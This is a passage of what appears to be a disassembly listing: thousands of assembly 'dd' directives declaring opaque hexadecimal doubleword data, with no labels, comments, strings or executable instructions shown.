1C280627h, 51D1040Fh, 135C6C73h, 2672050Ch, 88C3B4B9h dd 0EDA1B01Bh, 5F985Bh, 0D4364010h, 71585DF1h, 0F006CC0Bh dd 297603C9h, 9481EE6h, 0EED113B0h, 6E92A600h, 738962DEh dd 0FF590034h, 31BFF2B6h, 830042D4h, 272CDFD8h, 1813BEB1h dd 0C0CC68E2h, 0C80B5EEBh, 87F17DC0h, 80685DC4h, 6A649B81h dd 822E47BCh, 3039A4CCh, 2914F953h, 80AA0EA0h, 60C9D51Dh dd 7C1D8452h, 0A780619Bh, 887FCBA1h, 62640797h, 70C0BAA4h dd 5C688085h, 0B3C1A201h, 0F5D2E30h, 9E48E0h, 7A9267E0h dd 0B6D586FFh, 87324500h, 0BBF61A61h, 39D400CFh, 93ACC93Eh dd 2AF42694h, 1D00E8FCh, 87F62079h, 174148C7h, 60BF1F23h dd 2C7F7464h, 0ED0B3D00h, 0C912977Eh, 92DC0A1Fh, 0DCA23Eh dd 236496CEh, 0F502814Ch, 159CC359h, 6C5898h, 7B6E3F2Ah dd 9E0D4AACh, 0E3A7F905h, 6490361Bh, 3452F26h, 2ACC25BBh dd 0EBD0F64Eh, 181E3AA5h, 0D8408EEFh, 9F7EFA61h, 30DB00DEh dd 0A98591D1h, 0EC1D0F36h, 0E017B39Bh, 1780200h, 1A3AD4Dh dd 0E26343CBh, 0F8501FFFh, 0D8076BBBh, 0B8597109h, 17EC41F9h dd 8FC030h, 0BCFB1B6Ah, 0D12FDADDh, 0A9004490h, 8E3F6E78h dd 2121F04h, 97EA0EDCh, 2448477Ch, 9BFE95E3h, 806E3E3Dh dd 259E046h, 2AE48387h, 2F858CAh, 0D4E3BEF8h, 6448CE05h dd 0B4184084h, 8F11AC28h, 615F0096h, 0E87CABFFh, 91FE500Fh dd 0CD301A3Ah, 0B9A30004h, 6AF6BB32h, 4B73EFh, 277A4901h dd 8DABD358h, 4518D8B0h, 9779BB30h, 9F6F0260h, 82D727A2h dd 11C0E8C4h, 0DB422581h, 7DAB3EA0h, 0FE008459h, 3656067Eh dd 8CF0294Ah, 4360182Ch, 0EDC6803Bh, 59A48578h, 0EE447h dd 222041ADh, 0DD68F5CFh, 1FB6E300h, 97E610BAh, 187FE77h dd 114EB09Ch, 0CCC0F709h, 0A91FA834h, 78750FAh, 84D0D6BCh dd 896365h, 738F5D8Ah, 485BFE18h, 0F40B6B00h, 0C11A72DAh dd 17990145h, 9EDE3D90h, 5548209Ch, 4740A894h, 0FA45D72h dd 15FDC5F3h, 3B746100h dd 0BB8F2C8h, 0A94E6806h, 76040DAh, 0E2939279h, 132910CFh dd 0EA17D006h, 940041A9h, 126B37D8h, 75D70E7Fh, 19E9177h dd 5EC3EBDh, 6311C008h, 0E83C807Fh, 8DDE80FBh, 0D823DDD6h dd 0A25B3991h, 87DB111Ch, 82D1A678h, 0F4494B98h, 3D7A20ADh dd 0D5B9720Ah, 0C100A034h, 3AFAD9D4h, 0B2670038h, 8049B151h dd 61394B75h, 4D6083AFh, 0C3029436h, 39D1F8E9h, 0B0779FBh dd 0B3CBD553h, 0C0AA9887h, 0E345FDE0h, 0F4325Dh, 6F6C741Bh dd 5CF6EBh, 8C93B023h, 3C4590C7h, 0AFAA8500h, 3BD2FE10h dd 8AD40075h, 0E948DFB0h, 1B000741h, 62575EDEh, 143CCE5Fh dd 9C9F802Dh, 0A6E6438Eh, 54A1F423h, 0A7C828ABh, 34DF0DF0h dd 6711C0C2h, 776F4C6Ah, 0A3D96209h, 0F358214Fh, 0B7F146BDh dd 0A0067C64h, 3DA94h, 1FAB338Eh, 8DDF757Ch, 5E93BF06h dd 0C87BE9h, 6B9BAF49h, 2097EC1Ah, 2EEE400h, 6A39F0DAh dd 0BFB21E2Ah, 0B6FAC04Ch, 0FC4BE3EDh, 0D731A800h, 71D99452h dd 0E6441CBFh, 63EC00Bh, 8A9B01AEh, 4A639C07h, 0FED03275h dd 74876CFFh, 20CE00EFh, 289B27B4h, 0BA003A76h, 0E8E21C05h dd 0A06DBC26h, 0ED5681h, 0B56A0902h, 39677641h, 19BE9400h dd 0F5D68762h, 0F28F1724h, 3BEC0007h, 4FCEA9Ah, 925A2800h dd 34F15246h, 70B600CAh, 0E43D47C9h, 2A601138h, 13EF4D70h dd 8124916Ah, 0CF1B04D9h, 5960F4D5h, 760330F4h, 0C93937A2h dd 0AA4AB858h, 0E1100033h, 3CBC9AD1h, 0C31DC50Bh, 0FD80A0A1h dd 1CB2766Dh, 7737061h, 9C529378h, 0F27E3037h, 0F40068A7h dd 80CA5675h, 0E11BB4h, 2C1EFBCCh, 47701A9Fh, 3EC0F607h dd 0C7301927h, 1F5F8B0h, 0C3145B4Dh, 0C4E4601Fh, 84000436h dd 4046E76Bh, 0AE5577h, 6AD3E5C0h, 3F71AF0Fh, 0E1AB3E03h dd 83F6C10Dh, 482FB0EBh, 2849A4Fh, 960C852Dh, 0C440502Eh dd 8912F0F3h, 0B48A2980h, 95FF8FF0h, 75007894h, 0E4C58E37h dd 0A510C85Ah, 216CC10Ch, 0E5F095h, 83367E18h, 2F3A23B9h dd 590B5Ch, 102B6DF8h, 0DC6893h, 3081E8DBh, 41054597h dd 5F0075ECh, 0EB0E1C48h, 0A5EDEAh, 0A77836B3h, 81574947h dd 0EE25E37Ch, 10B0482Ah, 0E8DC788Eh, 0B8926Eh, 0F012D9C6h dd 924A46F2h, 6A876CBCh, 80DBAFF1h, 0BB1052DCh, 6D0712D4h dd 0E700C82Ah, 0F4014E81h, 0F2BAD01Eh, 2AA7F814h, 18007130h dd 377D6F2Bh, 0DA4482h, 3D571E3Ah, 0C8C3DE79h, 7D60C894h dd 3C8774h, 272F4073h, 60F1354Dh, 0EBFF8200h, 0CA92449h dd 33B3015Ah, 94AC8E51h, 2250F025h, 0A43A753Fh, 1800A991h dd 8630A1A6h, 5D16002Ch, 396A49CBh, 1B03898Ah, 0D193612Ah dd 59DBA082h, 0F0FC0077h, 0B50A27E5h, 31005A9Bh, 0D4305004h dd 681479h, 8EC58797h, 9C35AFBBh, 442B4301h, 61460932h dd 77482F0h, 367F3476h, 1D0881B4h, 7844D843h, 0FC0E84A8h dd 0F39D3200h, 9E9729A6h, 2D401292h, 6EA8B030h, 2372388h dd 82AA077Ch, 0ECE8E50Fh, 0D40E4349h, 1301564h, 19EAB414h dd 2081D371h, 80C52CA7h, 0E594F076h, 23B03Eh, 2E6C4427h dd 7CD8596h, 47A819F4h, 0F205B020h, 2FF009F3h, 6C8780Bh dd 0F73300DEh, 3BA2586Dh, 4E93F43Eh, 4504A4B4h, 9BA17460h dd 660539h, 88D1B719h, 18B006AAh, 0FADB9D00h, 2AE4E96Dh dd 1757716Bh, 0EB24B1h, 0DE688D7Bh, 19747135h, 514A257Fh dd 664EB0D0h, 6E61580Bh, 0EA7E13h, 843197E6h, 62030216h dd 88AA199h, 8F8EF86Dh, 78275F6h, 2BA27547h, 0E2998090h dd 0F301FC80h, 8D13D279h, 0A9E07F78h, 0BD435C54h, 0F8A45503h dd 8764D0Ah, 5CCC21C0h, 0FAF942h, 9074A15h, 3E6F8205h dd 0EC89EB07h, 0B993CF8Fh, 0FC85B9ABh, 92383FEBh, 0F768480Ch dd 65985C11h, 0CD70D803h, 3079842Dh, 3C21E409h, 3100CCD9h dd 126019A0h, 1B6879h, 0EBDFDB6Bh, 0BA89070Bh, 99F3E503h dd 0E1FBE98Ah, 71808371h, 584C1E9Fh, 0AD388808h, 838338Dh dd 0C5210395h, 516C4C25h, 0BE8E72A1h, 637E03D8h, 0D0186D40h dd 1B7941AEh, 0C8B6C115h, 145C023h, 70D9CCE2h, 39000ED5h dd 85C4CCDAh, 2C60011Ah, 0B1157740h, 6F50C0BAh, 3C746549h dd 0E8F03E00h, 0BB3DF229h, 0F3A20092h, 321C9A70h, 41093536h dd 8029D37Ah, 91F13E5Dh, 0B44A003Ch, 16B37F73h, 4800CF70h dd 4FC471DAh, 3D2E8980h, 0F607750Ah, 0A104BFE8h, 0A84BD18Bh dd 0EC006D62h, 0DF29FF59h, 98DB18h, 0E7D5149Ah, 79CCA3CAh dd 958A7D00h, 51A4EA69h, 6C47001Ah, 0DE3139B8h, 0D9F4FD0Eh dd 7D19DC5Ch, 0AD3ABF7Bh, 0B487002Eh, 9EC6E10Dh, 634B06A3h dd 8FBACB9h, 6B213B60h, 29C6EAh, 357E66A0h, 0B777BD74h dd 9434A400h, 60B93DCCh, 0AF44304Eh, 703BEA18h, 38FD840h dd 1DBF2C9Dh, 86D37AB4h, 67C02DA3h, 0E170ED94h, 0BB094006h dd 30087808h, 4220B573h, 8406ED9Ch, 9E4C4580h, 0E4241071h dd 39C20465h, 2D0D9CECh, 889730A9h, 8A206D60h, 3170CE8h dd 0C1D8B778h, 0AF80FDF4h, 2D0C2A81h, 39B29FEFh, 7B7500D4h dd 1B694A2Fh, 9CC3184h, 77421DFh, 86A47B7Dh, 207070A2h dd 49E0E95Dh, 77B38415h, 488A06A8h, 700FE4h, 0A79E7FA6h dd 0F957F5BEh, 0F78B6800h, 0A25399E2h, 2388002Dh, 5DB903C4h dd 31046F0Fh, 6A7C9C90h, 491DF5ACh, 4FF40063h, 0D0288CA7h dd 9CCE2F1Eh, 6752EE40h, 58E3A4h, 0EF695FF6h, 0BC176C97h dd 74D4F800h, 0C763DA71h, 6BE8005Eh, 1CE45C89h, 3079D6Ah dd 0EFB0D112h, 0B5991620h, 68EB0049h, 747AC6D8h, 0CC2E70ACh dd 8C00ADBCh, 8905E7EDh, 0F41B6F1h, 1DE241h, 1FB0FD99h dd 9E004BF9h, 707E9306h, 0C2FF3685h, 807FE118h, 2DE9B600h dd 33BF0EDFh, 79A14B65h, 80FCB056h, 51926D81h, 0C06195E2h dd 5E88350h, 60F1393h, 98D15AEh, 60CF8F59h, 7F5EB581h dd 85160014h, 11AF9144h, 0B21D952Fh, 0CF000B4Eh, 335C49F3h dd 94D80090h, 0BA233DAAh, 0B00F648Eh, 7817011Dh, 1D72A8B1h dd 983529C5h, 6016D092h, 0E911ED00h, 98EB442Fh, 0F883E7C1h dd 7370743Fh, 0A1B3114h, 17680060h, 8EEE88C1h, 0FFAD0397h dd 0FE7C9181h, 0CB0E2000h, 0FC8915A7h, 98BA30ABh, 34705C68h dd 0E05ACC03h, 80AC0D5Eh, 2450D093h, 0C12135h, 7D586632h dd 0B107751Eh, 3E2B4E6Bh, 63C1D760h, 90F30E83h, 9580281Dh dd 9C77ACDAh, 8F6A0200h, 1054F731h, 0FCC1035Bh, 0FA7832A6h dd 191DE0C7h, 0AD03590Bh, 0C2478F66h, 0B3C0E5ECh, 6036AE96h dd 0EE5230D8h, 7D0345A3h, 0B30A4147h, 0E6083397h, 0A3A8F821h dd 0CF007CE9h, 35EB90A7h, 419210EDh, 4650BBECh, 41A4047Dh dd 3240E77Dh, 0EAF420E9h, 4B06B2A3h, 0E4AC0BA0h, 0B9840019h dd 7A9B7CBBh, 0BE58F8DAh, 7D4C3B6Eh, 7E6FCC0Fh, 0E91F8042h dd 1D48E728h, 0CCBE563Bh, 0D8F9D6E2h, 36B57C00h, 3D0B1C9h dd 5DE71E29h, 5BD106EFh, 34061021h, 0B04E538h, 6FC0130h dd 8B9C15ADh, 23E1F8AEh, 0FF08F766h, 0E7495021h, 461C3B38h dd 0C8400073h, 7F653D2Ch, 186EDAAEh, 7977E180h, 0B050ED29h dd 603C80FFh, 1B7D108Ah, 4C00980Ch, 63BD82B8h, 1D1A21h dd 0ABAE03AAh, 483681A7h, 0B3019203h, 0D376B243h, 870B8041h dd 6610012h, 0AAADEE65h, 810018BFh, 8D3E39D3h, 3D24759Bh dd 0A787C8ABh, 70E44219h, 1C0A01F5h, 272EEB07h, 8A21C982h dd 61D8623Ch, 0A5FCEBE9h dd 0AA6E0028h, 8910905h, 71021FA8h, 8EFF1BACh, 7280609Fh dd 0DD3395Ch, 6CAA580h, 0D5A2BC35h, 5D03947Ch, 0E58B34F5h dd 0D0EBA34Fh, 0FA6E069h, 0C2FBA211h, 0A3AD1F20h, 0AF005807h dd 1838E734h, 4F0896h, 0C9217DDBh, 0C0DFAEEEh, 3B0B5900h dd 575035D4h, 0EE20FDC8h, 0F20E0001h, 0B72AA0F8h, 0FF7F4FA3h dd 67006CF4h, 2303F4B9h, 101899h, 0ECD5079Ch, 0AFD1D40h dd 0D23D4E0Eh, 2D88A0BCh, 2522F67h, 79600575h, 8EC8ED33h dd 0B2769CACh, 2DD6CF00h, 0F1D5BBAEh, 208F07A7h, 701A333Eh dd 68E9BD8Ch, 0EA01C803h, 90779927h, 7B919826h, 0ACB4003Fh dd 0AB97CCD5h, 0BA004734h, 165E5AE0h, 9B3D01h, 2F7DD6EFh dd 77B42728h, 97381D00h, 93F5D0E7h, 11801E1h, 0CB10D5FDh dd 3C90F48Ch, 0D7363Ch, 22E8C11Bh, 0A555BEFh, 81070F46h dd 964200E0h, 593B7653h, 0DF972600h, 9DE34B90h, 2675F294h dd 2046A1CCh, 8BDD0184h, 5845D0C4h, 10C4405Ah, 1E0064EFh dd 7D753820h, 1DC157Eh, 0B4CA9408h, 0E8BA9F49h, 0EB01BD39h dd 36716F75h, 3C7054AFh, 0E33E0004h, 0D17A0C44h, 0EB00D80Bh dd 0C56B2BB4h, 5864781Bh, 4F3E0532h, 3907E184h, 55109020h dd 0E00042C8h, 565D3D2Eh, 0F50201h, 0BAD4A366h, 40D7C9F1h dd 0BE5D600h, 2284BF5Ch, 7E5D16FDh, 0E386000Eh, 20E0CD81h dd 8FEFEC00h, 4BC8B767h, 7CE23966h, 0FCD50076h, 0F1B1A57Eh dd 430092F4h, 4DEDA934h, 6AF7B8h, 0E2A70172h, 792CBB54h dd 6B8A0C50h, 27EC7F12h, 0A2A12440h, 0EC3E0BB6h, 0D6C74C2Dh dd 34A5AE07h, 0E2D1A002h, 8900642Ah, 6F99EBADh, 18352DFAh dd 4C0B0185h, 0CB0067EEh, 23026244h, 0C6FC74h, 0D5A0209Ch dd 66EAF9Dh, 0AC120C00h, 70D482ECh, 0CE910089h, 0B7DA972Eh dd 9A031F3Bh, 0A6D9E647h, 6A0AB0ECh, 0EE90071h, 153DE585h dd 8400E4B8h, 8979666Dh, 7BB28CBh, 0DFF0FD5Dh, 70487018h dd 9D0082E5h, 1E6797B6h, 3C5FA246h, 690041C9h, 2390ED6Eh dd 0EA0029AAh, 32A944AFh, 95ABD67h, 0CE5D8740h, 7A941480h dd 0AC00E1B3h, 7CE47680h, 2A1575h, 7F36A94Fh, 2FB1127Bh dd 2D17F106h, 386272h, 2360B743h, 67D21F2Eh, 44FCC724h dd 0DF54902h, 0B6E040FDh, 9BE22Ch, 9D133CCBh, 0D3765F51h dd 72005092h, 9C0573FCh, 0C6A5E4h, 4732B557h, 4CD348C1h dd 8F8EFE02h, 0D71A7974h, 0BC09FE58h, 80817A42h, 0C3CCDD55h dd 0C053013Dh, 0EFC8103Bh, 4EB420ABh, 0D30A3900h, 331CB441h dd 3881011Eh, 8BE0C4F8h, 59D1E4EAh, 8F53A63Dh, 0C0636EDFh dd 4DAF2F1h, 106F6778h, 84CEA158h, 8B60A040h, 10D9C500h dd 0D6B4887Ah, 4BD500FEh, 3EF3772Eh, 0C906A76Dh, 0E707AB02h dd 0D0C10040h, 0EFEA119Bh, 8E03547Dh, 97E6B9ECh, 0A5C8D8BAh dd 0C07351h, 0B0F3A8CCh, 0C27F5DAh, 0A604700h, 99EF878Ch dd 0CA50001Fh, 4030E9D4h, 9100924Eh, 9FDEA4DBh, 4F1963Bh dd 0E7B8FEB6h, 6338C7ECh, 0E8D3DD3Fh, 4294D9E8h, 0A4094375h dd 0DE96D1h, 0CCD73DECh, 0B8F300D2h, 76799DAh, 47000F6Bh dd 7F8F2786h, 149AE8Ah, 300C14C2h, 8F2D25FEh, 72C0F98h dd 8CF10EF3h, 0B18F8A21h, 0DEC0410Dh, 0DF080BF1h, 433DD973h dd 0A5F080FEh, 7A6E2961h, 6707005Fh, 0A5BE88Bh, 5E0F97DBh dd 20354A72h, 0EED5AF4h, 1BFEFA50h, 700BF54Bh, 89C7801Dh dd 0AA110D8h, 0A64000F1h, 0D6A4DD50h, 8D00E699h, 0EA1328D2h dd 0A02491D9h, 0AFB894Ch, 6C06EE2Fh, 40751E70h, 9B2A4FFEh dd 957E461Fh, 1EC04D07h, 0B5204496h, 0ECDD4090h, 688C00ACh dd 304F672Ah, 2F00BFAEh, 0D3B8219Bh, 53BE4Dh, 0F65B5292h dd 5457AA35h, 0CF01E903h, 0D897704Bh, 37BA8BDh, 192C0E79h dd 49D8558Fh, 2E00EF9Dh, 7748F232h, 74A13BE8h, 0AAEE2F8Eh dd 0FD1E2178h, 803B0643h, 84351103h, 0FC10A6CEh, 69BB0985h dd 0B680DAC1h, 52296009h, 0DBB8B600h, 26CE61BFh, 637523h dd 7A544191h, 93E57FC5h, 377DB603h, 80BED9D5h, 700D66FEh dd 68A200B2h, 5054064Dh, 6E0A14F2h, 0A0FD7F43h, 2CF1880h dd 0E59BE9Fh, 973DEA56h, 4D93ACC0h, 0BA010168h, 0B1D91ED2h dd 0B0507C5Ch, 1096B12h, 55DD8EF7h, 0F0D9EEDCh, 0C958881Ah dd 80BB0CCEh, 2661F6h, 2811A343h, 0B07F68B6h, 0ED2DF507h dd 79903BDAh, 5B76F9h, 1D4506EAh, 1B0DB58Ah, 4193DE31h dd 88028AFh, 51316C86h, 0A10CFB02h, 1923AEFFh, 0C8330016h dd 0C76A8D48h, 943E7FECh, 0E15C3E93h, 688F70B1h, 0F003E4h dd 853BC4BEh, 2267CF1Fh, 0ED1EC7F8h, 920326E6h, 0C0287F16h dd 1596155h, 185E4CECh, 80F7801Ah, 0D044A291h, 77EE4D1h dd 0C3FAC911h, 825DD0ADh, 8B18EA2Eh, 4C79145Fh, 0F86C0098h dd 68503CC2h, 15305504h, 92D1B929h, 7C1A077Ah, 6E46C70Ah dd 8C8F9CE0h, 313F8309h, 4864B0BCh, 1421290Ch, 9859C5A7h dd 51DA5403h, 690E1B5Ch, 0A02A7D3Fh, 7ED8AE50h, 451A3D4Dh dd 149F69Ch, 0A4D9F273h, 0A88EEC4Ch, 186B2600h, 0B1743414h dd 0D460C085h, 9EEECBB4h, 0DED56A00h, 0DFDC58AFh, 6E3C0132h dd 46182696h, 2171807Eh, 0EE6858C2h, 11A48A1h, 42DB8800h dd 0C486133Dh, 0B0F84028h, 0A46A920Eh, 21556F15h, 0A561995h dd 5828058h, 0E41AFEFCh, 0F9B0408Ch, 0A3DA527Eh, 326AD700h dd 0E6A5C138h, 0F530C29Eh, 0CC832F86h, 7EA16715h, 0F2891090h dd 0CEE3036Dh, 0F8EA76D2h, 61562598h, 1B8C3A00h, 4F10EC4Bh dd 0FAE9005Fh, 93DDF417h, 46522966h, 8B0200D8h, 2BF1FCFDh dd 0CEA30CB5h, 0C161957Fh, 82634E1Ch, 0AA41C29Dh, 8AB5319Ch dd 603252F0h, 0B862B85Eh, 783AA513h, 0CD3581F8h, 0B165074Ch dd 0F3CC60CDh, 48E16785h, 4225C556h, 5B734C84h, 0A9F8F4A0h dd 8A070B30h, 0E9B33F6Bh, 7FF21EB0h, 1289C08Eh, 37DF7429h dd 0AB68410Bh, 0F032003Eh, 0C413A7F8h, 80678DC9h, 0F95523CBh dd 8069A56Fh, 819C8E1Bh, 0B5B198Dh, 325C1926h, 36C900BCh dd 0CB243E3Dh, 0B2733F2Fh, 0B7816481h, 2027C55Fh, 1460AE1Ch dd 0B5979339h, 890D015Dh, 60D4FAD8h, 447DF86Ah, 0EB1D1A16h dd 0D64D4F00h, 722A2h, 468B5068h, 0A96B927Fh, 107AAF06h dd 15117AEh, 0B8744D5Eh, 0DC41D67Eh, 4F44FBCh, 0BC10100h dd 0CB7D797Fh, 0A0217A91h, 3999FDACh, 57002FAEh, 0BFADC46Fh dd 454A0859h, 370AA5ACh, 83AC5874h, 67AA0F60h, 89353087h dd 0D701640Dh, 0A8ECB6BDh, 0FF302D63h, 561426C3h, 5F4E6274h dd 0C50ABDC0h, 35502E00h, 0F9DAE055h, 62211ECAh, 70111FE7h dd 7D4CA2C1h, 0BD49254h, 984F5E01h, 639D3D70h, 4D171E8h dd 4AAEF8DDh, 0B2740446h, 0BC08C090h, 6963003Fh, 6FC29810h dd 0DAFEF00Fh, 50DBF30Eh, 72EE182h, 1C231255h, 0A0808C04h dd 0F84380CBh, 2CA135A4h, 0C5E410B1h, 0C06A1FB5h, 59D7C08Bh dd 693AF4B4h, 5C904904h, 94CC8ED2h, 0A0830023h, 5D312597h dd 2609384Eh, 1074D6E1h, 1D4D5150h, 40F5FE82h, 0EEF2D10Fh dd 0E701E331h, 506BCE25h, 0C1D7AE1Fh, 73E1283Dh, 0EC3C70h dd 8C210D52h, 61A77867h, 0BCAEEB1Eh, 200678B0h, 52BB4CDDh dd 44EDF600h, 0C76924ABh, 11079200h, 2747C0AAh, 0A9126046h dd 0BBF97094h, 4E8F8B07h, 0FF764D1h, 206290C2h, 60A2ADD9h dd 0D086B490h, 1D08874Ch, 97EE1A6Ah, 0BB769202h, 0C08C4031h dd 0B832E726h, 0DD8F4D3Ah dd 0C520CD52h, 5D2431C9h, 9AE80084h, 45B0E16Ah, 0B5011920h dd 9226A3B3h, 50703AB7h, 22FD3A65h, 3F9C02A4h, 13642000h dd 0A58B9E46h, 6E4988C0h, 9B6C7F1h, 0FC8073F7h, 1631C20h dd 3F73991Ch, 4419B71Eh, 959406C0h, 81BBB36h, 0B17515ECh dd 0E7FDAC87h, 0CDDC7920h, 33BE0F42h, 0A4A0CACEh, 0FB884371h dd 5A528F01h, 0C81AF621h, 0F9132432h, 8C0C20ADh, 7203947Eh dd 0DA6E1DB9h, 18A79224h, 8E048761h, 12568BB8h, 166BE0D8h dd 183E1B69h, 0EAC459BAh, 0EB2B63Eh, 0A0B581A0h, 0F8D30932h dd 0E8BD057Eh, 80037B36h, 150B60F8h, 0F2C34B05h, 4C87ACD8h dd 655E0710h, 1CB5F8FCh, 40A26997h, 75A78A50h, 2F008816h dd 0C68DC2A4h, 21229DEh, 547B6207h, 0A880E73Fh, 5BA92345h dd 0A9C924FAh, 441C115Ch, 96D05831h, 0A2D50F09h, 5C26DA72h dd 0CF022111h, 77C14181h, 989C6C5Bh, 0A75405A0h, 20AE7F89h dd 0F3B4C080h, 0FF00BDF4h, 1D940BD3h, 32DAB37h, 3B13960Ah dd 0B03AEE05h, 5D3D0C2Bh, 142A5118h, 0A9B728F7h, 6360378h dd 0DFFDC6F4h, 906A6097h, 0DE1327AAh, 2821E017h, 9824BFAFh dd 385200FCh, 30B076B3h, 0A24CD33Ah, 48D00D8h, 9E615CDCh dd 8790B9D7h, 71193091h, 0F34B3133h, 823583F0h, 5E74DD10h dd 450F0C01h, 0E066F3F1h, 0E916240Dh, 2403C4C3h, 155D2Ah dd 0A736F8B9h, 0B516FDCFh, 2770514h, 300D2294h, 85F0E704h dd 88E843DAh, 0FC76CB1Eh, 9944C840h, 0A7DB4F3h, 85DC1B14h dd 0A9E33B6Ch, 78D0BBDFh, 3F00C783h, 0E82B0E95h, 3357DF9h dd 9646A502h, 0BFA81C6Ch, 74002FB6h, 0C53BD4CCh, 1074D2Ah dd 27599743h, 741F93D7h, 0A4727BE8h, 0E95A7430h, 3E1AFDBDh dd 0BB802A71h, 0D214DF39h, 60009164h, 26E92F9Ah, 0B09528E0h dd 1C53002Ch, 0E56BD1EBh, 6716CED9h, 1033BE56h, 3364D87Ah dd 0ED7B0041h, 0E4ABA49Dh, 4CFA8DEAh, 9C495C12h, 56659403h dd 6F63F883h, 20691CFCh, 29D944B4h, 47DCC298h, 0E810B311h dd 0F61E7759h, 0A580CAAFh, 9B426701h, 65BE009Ch, 7C19F0CEh dd 74B8E9CFh, 7DA272Ch, 0E5061D00h, 13C7F204h, 81A34Bh dd 0E6DDAF64h, 80623FF8h, 0AE5775B9h, 0FAFDA088h, 2E5B6Dh dd 3F2C7EBFh, 341B95C8h, 0FE68970Eh, 0A2EC0B14h, 0C20FF064h dd 3D007F94h, 0BEC72AA5h, 0C51AE31Ch, 90D40A25h, 46ACAA60h dd 0AF230095h, 49082CD5h, 0CB2ED270h, 5802E0E5h, 44ADCF0Ah dd 3AE13A00h, 95549Fh, 0A9B770A4h, 0F4008E1Ah, 1378EDA8h dd 26CE0108h, 40F49327h, 67D69EDAh, 87F8B90Fh, 0A2540326h dd 72A8E088h, 0ED62062Bh, 31E31AEAh, 0C79E4700h, 0FFFC1268h dd 26D30648h, 21459728h, 477A4A0h, 4EAC9350h, 444E804Bh dd 0D8C82765h, 0E2848AF1h, 0B0F08CCh, 97264BB5h, 0D69C3C18h dd 87EC7958h, 0A4973D84h, 0E4313F1h, 68C5C3C9h, 7F2D830h dd 5592141h, 49413C74h, 0E260A000h, 0D7C42EAEh, 0C7871325h dd 2CF8207Ah, 0E60070EFh, 884722EDh, 1D12826Bh, 0C0EBB608h dd 4CBA56F9h, 6090EFECh, 0BE468400h, 2331F175h, 861B0302h dd 0B4962654h, 0F9805118h, 0D6E4E1h, 0D88EE8BCh, 0CF7FEE2Eh dd 0B238E306h, 4AD84B73h, 930405Ch, 0ACBB4C0Dh, 892C17E8h dd 3E0FAC76h, 0D749603Ch, 4EF8F00Eh, 96C843A3h, 1AFBF97Ch dd 0C03C1148h, 33200982h, 411E02FBh, 5D28EFDBh, 3700B044h dd 0B4B2F85Ch, 0ED81F1h, 0C713E8D8h, 2A16551Ch, 0B3C4E300h dd 0C970B9BCh, 4244CECh, 4E7B7209h, 80755400h, 3CA0461Eh dd 0C900C3C5h, 1B9276D1h, 52F65E0h, 63150458h, 0A424C162h dd 0C485FC0Dh, 0A4DB2124h, 1058A501h, 283025D4h, 5912141Dh dd 0C40588F1h, 0C8AE1B97h, 60039C8h, 0A6853575h, 4EB34931h dd 0B5B42045h, 7105D5EEh, 0EF43120Bh, 1025C500h, 0FAF423E4h dd 18C00B5Ah, 5890ADE6h, 1300679Eh, 406173CFh, 0A025A431h dd 880DA9ACh, 0ACB0E83Eh, 5DFE5201h, 785BBFE6h, 8F009839h dd 4AFD3D5h, 5F060596h, 307ACBFEh, 1EF398C8h, 66A955Bh dd 48CDBCA4h, 5EE5603h, 0A1943A51h, 50703F6Dh, 4C4A078Bh dd 0A091E18Eh, 4E7C1BD7h, 24144DFCh, 58AE97h, 364530A5h dd 5112EF1Dh, 0AC48FCC4h, 7B4802D0h, 5D404AB6h, 0DD072444h dd 0C9625BD5h, 661267D0h, 6ED004DBh, 0E09AEA15h, 0EC05B890h dd 5FA26B9Fh, 223FE420h, 0EFD900DDh, 6470DF97h, 7703EE63h dd 0A3C660EAh, 4082EC8Bh, 75257Ch, 4FFE0444h, 0D10E8C55h dd 2E253011h, 8BD6E543h, 0C62240C2h, 71B70048h, 0AD6F4AA1h dd 0C41E831Ch, 8E00CF57h, 9396AA02h, 9C000DAh, 5C6792C8h dd 952953EDh, 0DF01C0AEh, 2461B196h, 12578EF4h, 0C8998FFCh dd 83002CA0h, 0B37D28B9h, 8C64Ah, 8146FA94h, 0CA4C3BDCh dd 84748D0Eh, 2BF781C7h, 9C229428h, 34135614h, 0B52AC400h dd 5248725Fh, 74361513h, 124F020h, 547700F2h, 0E534BC2Dh dd 8C009DCCh, 0F799408Fh, 964623B6h, 0AA218000h, 8228ACEBh dd 1BFADC00h, 57A29B5Dh, 0AE4D07C5h, 84FCE759h, 0C710E05Ch dd 0B4F97729h, 806964A4h, 0AF3CA74h, 7D240F7Fh, 6B8FD1BEh dd 94CF3E82h, 5DAE3C40h, 408FD524h, 0F5C6F000h, 0F28FCE3h dd 0FB89874h, 0ADD3ED62h, 0D0C1072h, 14AF915Ah, 0A3CA00FDh dd 481F255Fh, 473862C4h, 0D558CECh, 605C312Dh, 42D7997Fh dd 25E6F3EBh, 6D715A14h, 0ED3800A6h, 6F3FB865h, 9E8904A9h dd 814F8618h, 0C231203Ch, 30B59861h, 0D9C056C0h, 411DED2Eh dd 0D8FB074Bh, 7D4BD32h, 8FC5A082h, 2D3DE064h, 25E705D3h dd 0C889928h, 5C96278Eh, 1B0734A0h, 0BF03C94h, 0E9F2D405h dd 8C0040E7h, 17DF3F66h, 0D54B008Eh, 0A291738Ch, 0B816D985h dd 0AC8860A5h, 0B529007Ah, 57DBFCEDh, 0B1001CDEh, 0A3583B28h dd 43860h, 69337A48h, 0B7C63D0Eh, 0C7079C00h, 724F209Bh dd 40454ADAh, 82B5EF7Ch, 105D75Dh, 2294D19Fh, 1600BCA2h dd 0A1B41442h, 64B55EDh, 0AF720030h, 0DA1B2D1Dh, 0FFE0D814h dd 0A0CEC501h, 0D7B7D8F2h, 0CBFD9D0h, 917EEBECh, 32010731h dd 51CDB9CBh, 0C86094EDh, 0DA624498h, 7C919D79h, 0AA50C880h dd 2390A80h, 0F96A6B28h, 0A0E845A4h, 0C377EDECh, 10001499h dd 0CFB57ECEh, 69360059h, 18791F89h, 5E00C53Bh, 0BA158DC4h dd 27A175A4h, 8C7C05B6h, 15017021h, 0F124286Fh, 185B0870h dd 211AAEF0h, 0CD000A98h, 0F27A5C39h, 0F6AA94h, 0FD28F157h dd 0A018DCF8h, 0DC20414Ah, 1AA9ECFh, 0D8C7DA4Ch, 6072A4F5h dd 7E04612Ch, 733F14F0h, 6F3488h, 0E41263C7h, 0E8B099ABh dd 5DBA0F00h, 18B6D266h, 94189CE0h, 8E0058AFh, 3CBA2136h dd 0FB1D746Eh, 4B00D6B0h, 0F8EE4123h, 88814CA6h, 0B6003490h dd 658C2403h, 5A00B0E7h, 0D220C672h, 30818A69h, 0DB295F7Ah dd 5A002C1Ah, 308CF7C4h, 9ED344C6h, 4ABD4034h, 0F300B9DBh dd 